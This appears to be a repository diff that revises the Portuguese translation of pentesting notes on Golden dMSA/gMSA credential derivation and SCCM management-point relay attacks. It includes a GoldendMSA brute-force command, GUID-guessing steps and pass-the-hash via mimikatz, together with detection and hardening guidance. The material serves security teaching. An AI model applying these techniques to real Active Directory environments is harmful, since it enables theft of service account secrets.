Para ambas as variantes, a **senha não é armazenada** em cada Controlador de Domínio (DC) como um hash NT regular. Em vez disso, cada DC pode **derivar** a senha atual em tempo real a partir de:
|
||||
|
||||
@ -30,7 +30,7 @@ Isso é análogo a um *Golden Ticket* para contas de serviço.
|
||||
|
||||
### Pré-requisitos
|
||||
|
||||
1. **Comprometimento em nível de bosque** de **um DC** (ou Administrador da Empresa), ou acesso `SYSTEM` a um dos DCs no bosque.
|
||||
1. **Comprometimento em nível de bosque** de **um DC** (ou Admin da Empresa), ou acesso `SYSTEM` a um dos DCs no bosque.
|
||||
2. Capacidade de enumerar contas de serviço (leitura LDAP / força bruta RID).
|
||||
3. Estação de trabalho .NET ≥ 4.7.2 x64 para executar [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ou código equivalente.
|
||||
|
||||
@ -76,7 +76,7 @@ GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
##### Fase 3 – Adivinhar / Descobrir o ManagedPasswordID (quando ausente)
|
||||
|
||||
Algumas implantações *removem* `msDS-ManagedPasswordId` de leituras protegidas por ACL.
|
||||
Como o GUID é de 128 bits, um bruteforce ingênuo é inviável, mas:
|
||||
Como o GUID é de 128 bits, a força bruta ingênua é inviável, mas:
|
||||
|
||||
1. Os primeiros **32 bits = tempo da época Unix** da criação da conta (resolução em minutos).
|
||||
2. Seguidos por 96 bits aleatórios.
|
||||
@ -100,9 +100,9 @@ Os hashes resultantes podem ser injetados com **mimikatz** (`sekurlsa::pth`) ou
|
||||
## Detecção e Mitigação
|
||||
|
||||
* Restringir as capacidades de **backup de DC e leitura do hive do registro** a administradores de Tier-0.
|
||||
* Monitorar a criação do **Modo de Restauração de Serviços de Diretório (DSRM)** ou **Cópia de Sombra de Volume** em DCs.
|
||||
* Monitorar a criação de **Modo de Restauração de Serviços de Diretório (DSRM)** ou **Cópia de Sombra de Volume** em DCs.
|
||||
* Auditar leituras / alterações em `CN=Master Root Keys,…` e flags `userAccountControl` de contas de serviço.
|
||||
* Detectar escritas de **senha base64** incomuns ou reutilização repentina de senhas de serviço entre hosts.
|
||||
* Detectar **escritas de senha base64** incomuns ou reutilização repentina de senhas de serviço entre hosts.
|
||||
* Considerar converter gMSAs de alto privilégio em **contas de serviço clássicas** com rotações aleatórias regulares onde a isolação de Tier-0 não é possível.
|
||||
|
||||
## Ferramentas
|
||||
|
||||
@ -128,7 +128,7 @@ AND pe.permission_name='EXECUTE';
|
||||
|
||||
## 6. Detecção e Fortalecimento
|
||||
1. **Monitore logins do MP** – qualquer conta de computador do MP fazendo login de um IP que não é seu host ≈ relay.
|
||||
2. Ative **Proteção Estendida para Autenticação (EPA)** no banco de dados do site (`PREVENT-14`).
|
||||
2. Ative a **Proteção Estendida para Autenticação (EPA)** no banco de dados do site (`PREVENT-14`).
|
||||
3. Desative NTLM não utilizado, imponha assinatura SMB, restrinja RPC (
|
||||
mesmas mitig ações usadas contra `PetitPotam`/`PrinterBug`).
|
||||
4. Fortaleça a comunicação MP ↔ DB com IPSec / mutual-TLS.
|
||||
@ -149,7 +149,7 @@ abusing-ad-mssql.md
|
||||
|
||||
|
||||
## Referências
|
||||
- [I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
||||
- [Gostaria de Falar com Seu Gerente: Roubo de Segredos com Relays de Ponto de Gerenciamento](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
||||
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
|
||||
- [Misconfiguration Manager – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
|
||||
- [Gerenciador de Configuração Incorreta – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user